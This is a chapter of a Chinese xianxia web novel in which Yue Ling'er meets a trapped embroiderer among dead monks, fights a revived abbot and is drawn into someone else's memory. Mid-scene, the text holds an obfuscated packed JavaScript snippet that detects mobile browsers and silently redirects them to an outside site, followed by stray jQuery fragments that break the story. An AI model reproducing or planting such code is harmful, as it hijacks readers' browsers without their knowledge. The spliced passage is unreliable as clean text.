“元乐姑娘,究竟是怎么一回事?”洞穴诡异的布景、瓷碗里的荤腥,甚至这九个死和尚,简直匪夷所思。
宋元乐与这九个尸体朝夕相处,起初还害怕,现在早已见怪不怪。
见岳灵儿是修道者,是唯一能救她出去的希望,宋元乐便全盘托出:“我呢,本来是西阳关的一个绣娘,我阿婆得了病,记不清事了,我弟弟又是个年龄小的,撑不起家。”
讲到这里,宋元乐有些怅然,抽了抽鼻子:“那天,城里贴了公告,要找八个年轻漂亮的闺阁女,只要被选上便赏银子百两,天下哪有这样的好事,我再缝三十年女工,也是赚不到的,所以我想都没想就报了名。稀里糊涂被带到了这里,有个男人让我们伺候贵人,可我察觉到事情没那么简单,什么伺候要脱光衣服?本想临阵脱逃,那男人又说不必出格,跳舞作乐即可,我突然想到阿婆的病,便咬着牙进来了。”
岳灵儿恍然大悟,神色复杂地看着这些闭目塞听的和尚,宋元乐继续说:“那些和尚一看到我们,都惊得闭眼,谁说我们不是?我一看到八个和尚,想死的心都有了!可是上面的命令不能反抗,就这么跳了几日,这八个和尚自裁了!我那天醒来,八个和尚死了,七个姐妹全消失了!我赶紧扒了件衣服,每天等啊等啊......”
“我猜这些和尚一定是得罪了大人物,这洞里隔几天就会传来一张符篆,符篆展开全是荤腥,稻米青菜都浇了肉汁,普通人吃都腻得很,这些和尚更是一口不吃。后来,时不时还会有新女孩进来,可很快又突然消失。”
宋元乐手指着地,地上竟画了无数个“正”字:“你看,我已经收到八百张符篆了,终于等来了你,你一定可以救我出去的,对吧?”
岳灵儿听完前因后果,虽疑点重重,也是大受震撼,她拍了拍宋元乐的肩:“当然会出去。”
宋元乐感激地望向她,眼中满是希望,她又看着眼下棺材里的和尚:“不过,这个和尚,从我进来时就是死的。”
岳灵儿也看过去,这和尚身披二十五条祖衣,虽年纪轻轻,恐怕已经是主持一方寺庙的方丈职位,她突然想到什么:“对了,你说这是太岁巢?”
宋元乐道:“对啊,那男人说这是太岁巢,这里怎么了吗?”
岳灵儿忽然串联起什么,太岁巢不就是那凶神太岁的老家?不就在净觉山上?净觉山上不就有个寺庙?这里不就是几个和尚?那么春朝城的水源污染会不会与此事有关?
她突然有个不好的预感,仔细端详着这个腐烂却隐约能看出年轻的面孔。嗫嚅道:“你......应该不是吾净法师吧。”
忽然,腰间“嗡”地一声震动发烫,热度顺着布料贴在皮肤,岳灵儿下意识取出灵宝囊,没等反应,囊口的结界“咔”地一声裂开。
里面的玉如意竟像是被什么牵引着,“嗖”地冲破结界,直直向棺材里的方丈身上飞去。
“南无阿弥陀佛......南无阿弥陀佛......”
喋喋梵语从四面八方传来,缠在耳边嗡嗡作响,岳灵儿脑袋都要炸了。
“岳灵儿!你快看!”宋元乐大喊。
岳灵儿循声看去,那身披祖衣的方丈竟然诈尸了!
他一手持玉如意,一手持佛珠,突然睁开了眼。
金光崩炸了棺材,她二人被强大的气流掀飞,再抬头,那方丈竟端正地站在棺板上,八名和尚分别立于两侧,阴气森森。
那瘦得像骷髅的方丈突然手臂一举,二十一颗佛珠飞射而来。
岳灵儿心念电转从腰间抽出一符:“急急如律令,破!”
谁知,符篆竟然一掐烟熄灭,宋元乐大惊:“你不是道人吗!”
岳灵儿急道:“早说了我修为不好,快躲!”
两人如老鼠被猫捉,用最快速度闪避着佛珠,宋元乐毕竟是凡体,躲也躲不掉,竟被一颗佛珠径直穿透了小腿!
“啊!”
宋元乐失声大叫,小腿上透了个佛珠大的血窟窿。
岳灵儿心头一紧,可根本来不及照看,因为那八名和尚齐齐向她们冲来了!
岳灵儿站在宋元乐身前,此地无所遁形,她风风火火抽出彩云剑,背水一战。
数百颗佛珠一齐弹射而来,她头皮发麻,挥剑相抵,“铛-铛-铛-”几声之间,彩云剑被撞得弯出浅弧。
剑身在佛珠的撞击下震颤,她节节退后,手臂发麻。
但许是这些和尚仅剩躯壳,修为尽散,她咬牙硬撑,终是将佛珠尽数劈飞。
一波未平一波又起,倏地八僧齐念悲咒,浑厚绵长的声音浸着无形毒水,仿若带上金箍,岳灵儿心下大乱,头痛欲裂。
与此同时,那祖衣方丈举起玉如意,玉如意化身一把长剑,寒光横掠而出。
岳灵儿晕头转向,却不敢随意走动,若是她躲了,中剑的就一定会是身后的宋元乐!密麻杂乱的思绪之中,又是一声熟悉的鸦鸣!
糟糕......难道是尉迟玄沧回来了!
绝望之际,一颗血色琥珀耳坠如水滴般摇晃在岳灵儿眼前,这一刻,时间静止了。
一双琥珀色的丹凤眼,压在他浓密如羽毛般的长睫下,既美丽又神秘,竟有一丝悲悯阴柔之感。
火光闪动,清澈的琥珀瞳,却如深不见底的玄色深潭。
他修长的手指轻打一响,九位和尚身体一软,齐齐原地打坐,没了气息。与此同时,一道血泪从这人眼眶滑落,触目惊心。
“尉迟......玄沧!!”
宋元乐早已捂着小腿,吓得缩成一团,岳灵儿则拿着彩云剑直指来人:“你、你是尉迟玄沧!”
尉迟玄沧侧目转头,他鼻梁挺直,投射出一片阴影,那道鲜红的血泪顺着他白皙的脸颊下滑。
岳灵儿莫名心头一紧。她迟疑片刻,剑梢不自觉垂了垂,声音也低一些:“你受伤了?”
只见一只玉白灵蛇缠着尉迟玄沧的脖子爬动,鳞片发出“沙沙“的声音,它冰冷的眼睛直勾勾盯着岳灵儿,悬停在棱角分明的下颌旁发出“嘶嘶”的警告。
那男子神情平淡,岳灵儿却丝毫不敢松懈:“你不是要杀我?为什么救我?”
尉迟玄沧道:“你不能死。”
岳灵儿握剑发颤:“不能死、什么意思?”
身后人突然“啊!”了一声,岳灵儿回头一看,宋元乐竟捂着小腿打起滚来。
“你怎么样!”岳灵儿蹲下查看,碎肉、白骨嵌在血窟窿里,正冒着焦黑色的烟。
热腾腾的豆大汗珠层层渗出,哀嚎声声不断,岳灵儿从腰间翻出一张符篆,死命按住那只乱窜的小腿,一掌贴了下去。
成团的碎肉颤了颤,终于镇定下来,宋元乐喘着粗气:“疼、疼死我了......”
岳灵儿却没接话,凝神捏了捏手中的小腿肚,若有所思,没等她细想,宋元乐冷汗直流,一把甩开:“喂,你干嘛!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458000|185375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岳灵儿手被甩了回来,疑惑问道:“腿这么紧,你这三年在洞里都做什么?”
宋元乐道:“什、什么也不做啊,吃啊、睡啊、赶老鼠啊......对了,我最喜欢赶老鼠,有时候还拿石头堵老鼠洞,要么就发呆想什么时候能出去,应该是因为我成天疯跑吧?”
岳灵儿撕下衣角为她包扎,笑道:“你真厉害,吃了三年荤,肌肉还练得这么好。”
宋元乐干笑两声,低头察看自己的伤势:“不过...谢谢你了,但这到底怎么回事,他是谁?”
岳灵儿看过去,玉白灵蛇正在那人脖颈间悄然游弋,轻轻抹掉那道眼中滑落的血痕,她道:“是你做的吧。”
尉迟玄沧迈出一步,下一步竟瞬移到那祖衣方丈身旁。
他眼神若疏离的光影,眼尾微微上挑,就这么安静地盯着地上静息的方丈,目光尽是物是人非的忧郁之色:“我?”
“是你,是你杀了他们吧......”岳灵儿嘴唇颤抖。
宋元乐被她护在身后,也是向前俯身:“你就是那个男人?!”
她欲接着追问,一道琥珀色琉璃带着杀意扫来,宋元乐身体一僵,仿若沦为山间野豹锁定的猎物,霎时哑声无言。
岳灵儿呼吸都急促几分,不由分说将宋元乐挡在身后,宋元乐却推开她:“我、不怕你,我就只有一个问题,求你告诉我!”
岳灵儿回头看她,宋元乐不自觉摸了摸袈裟布袋,掏出了一个绣技精巧的帕子。
她抖着手将帕子捧上前:“我知道我做了错事,你杀了我、砍了我都没关系,我就想知道,我阿婆拿到钱了吗?我阿婆的病治了吗?”
一束乞求的目光向尉迟玄沧看去,一束疑惑的目光向宋元乐看去。
岳灵儿道:“你做了什么错事?”
忽然一卷冷冽的气流如声势浩大的军队从那甬道长驱直入,祖衣方丈衣袂翻飞,宋元乐突然喊道:“岳灵儿,你的脖子亮了!”
“亮、亮了?!”岳灵儿愕然摸了下自己脖颈的莲花印记,指尖触碰一阵微凉。
恍惚间,似乎看到了衔玉师兄那枚莲花佩。
耳中传来虚语,仿若空谷传声:“你自己看看,究竟是谁杀了他们。”
奇妙的拉扯感瞬间袭卷全身,岳灵儿心下大惊,胡乱从腰间一扯,爆破符、疗伤符、保命符散了一地。
她奋力一喊:“宋元乐,拿上这些符,小心那个男人!”
接下来,眼前的幽深洞穴、棺木、和尚像被雾气笼罩般模糊,取而代之的是晃动的竹影。
等她反应过来,双脚已踩在湿润的竹间泥土上,身体不受控制地向前走。
她登时惊疑不定,欲抬手手不起,欲张嘴嘴不张。可眼下移步换景,竟不知进入了谁的视角?天底下哪有这样的事!
这副身体走得相当稳重,二十一颗佛珠依次抚过指尖。
不多时,眼前三座拱门,一方庙宇。青砖堆砌,朱漆做饰。
岳灵儿定睛一看,匾额上黑漆金字呈现“空音寺”。
向下看去,寺门的台阶下立着一位少年。
此人身长如玉,高束马尾,腰间佩剑。这玄色暗纹的仙门服制,岳灵儿竟辨不出是那方仙门的制式。
“你来了。”岳灵儿的喉咙忽然颤动。
那少年转过身,一双琥珀色清瞳:“莫永禅……”
倏地一语猝不及防:“你不必如此!”